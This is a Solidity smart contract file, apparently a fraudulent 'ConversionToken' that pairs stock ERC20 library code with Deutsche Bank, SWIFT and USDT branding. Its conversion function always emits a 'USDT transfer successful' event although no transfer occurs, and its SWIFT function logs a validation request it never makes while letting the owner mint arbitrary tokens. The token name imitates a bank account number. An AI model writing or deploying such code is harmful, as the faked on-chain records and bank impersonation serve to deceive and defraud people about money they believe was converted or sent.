文件 1 的 1：ConversionToken.sol
pragma solidity ^0.8.20;
interface IERC20Errors {
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC721Errors {
error ERC721InvalidOwner(address owner);
error ERC721NonexistentToken(uint256 tokenId);
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
error ERC721InvalidSender(address sender);
error ERC721InvalidReceiver(address receiver);
error ERC721InsufficientApproval(address operator, uint256 tokenId);
error ERC721InvalidApprover(address approver);
error ERC721InvalidOperator(address operator);
}
interface IERC1155Errors {
error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);
error ERC1155InvalidSender(address sender);
error ERC1155InvalidReceiver(address receiver);
error ERC1155MissingApprovalForAll(address operator, address owner);
error ERC1155InvalidApprover(address approver);
error ERC1155InvalidOperator(address operator);
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
pragma solidity ^0.8.20;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
pragma solidity ^0.8.20;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
pragma solidity ^0.8.20;
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address account => uint256) private _balances;
mapping(address account => mapping(address spender => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
pragma solidity ^0.8.26;
contract ConversionToken is ERC20 {
address public owner;
address public usdtAddress;
uint8 public constant DECIMALS = 6;
event Conversion(uint256 balance, bytes details);
event SwiftLoad(string trnNumber, uint256 amount, address indexed to);
event SwiftAPICall(string trnNumber, string message);
event USDTTransferAttempt(address from, address to, uint256 amount, string status);
event DeutscheBankTransfer(address indexed from, address indexed to, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
constructor(address _usdtAddress) ERC20("DE23669808021205", "CONVERT-USDT") {
require(_usdtAddress != address(0), "USDT address cannot be zero");
owner = msg.sender;
usdtAddress = _usdtAddress;
_mint(msg.sender, 2054733215 * 10 ** decimals());
}
function DeutscheBankCONVERT(uint256 amount, string calldata details) external {
require(amount > 0, "Amount must be greater than zero");
require(balanceOf(msg.sender) >= amount, "Insufficient balance");
emit USDTTransferAttempt(msg.sender, usdtAddress, amount, "Attempting transfer to USDT contract");
bool success = false;
if (success) {
emit USDTTransferAttempt(msg.sender, usdtAddress, amount, "USDT transfer failed");
} else {
emit USDTTransferAttempt(msg.sender, usdtAddress, amount, "USDT transfer successful");
}
bytes memory detailsBytes = bytes(details);
emit Conversion(amount, detailsBytes);
}
function swiftLoad(string calldata trnNumber, uint256 amount, address to) external onlyOwner {
require(to != address(0), "Recipient address cannot be zero");
require(amount > 0, "Amount must be greater than zero");
require(bytes(trnNumber).length == 10, "Invalid TRN number");
emit SwiftAPICall(trnNumber, "Request sent to SWIFT.COM for validation");
_mint(to, amount);
emit SwiftLoad(trnNumber, amount, to);
}
function deutscheBankTransfer(address to, uint256 amount) external onlyOwner {
require(to != address(0), "Recipient address cannot be zero");
require(amount > 0, "Amount must be greater than zero");
require(balanceOf(owner) >= amount, "Insufficient balance");
_transfer(owner, to, amount);
emit DeutscheBankTransfer(owner, to, amount);
}
function uintToString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
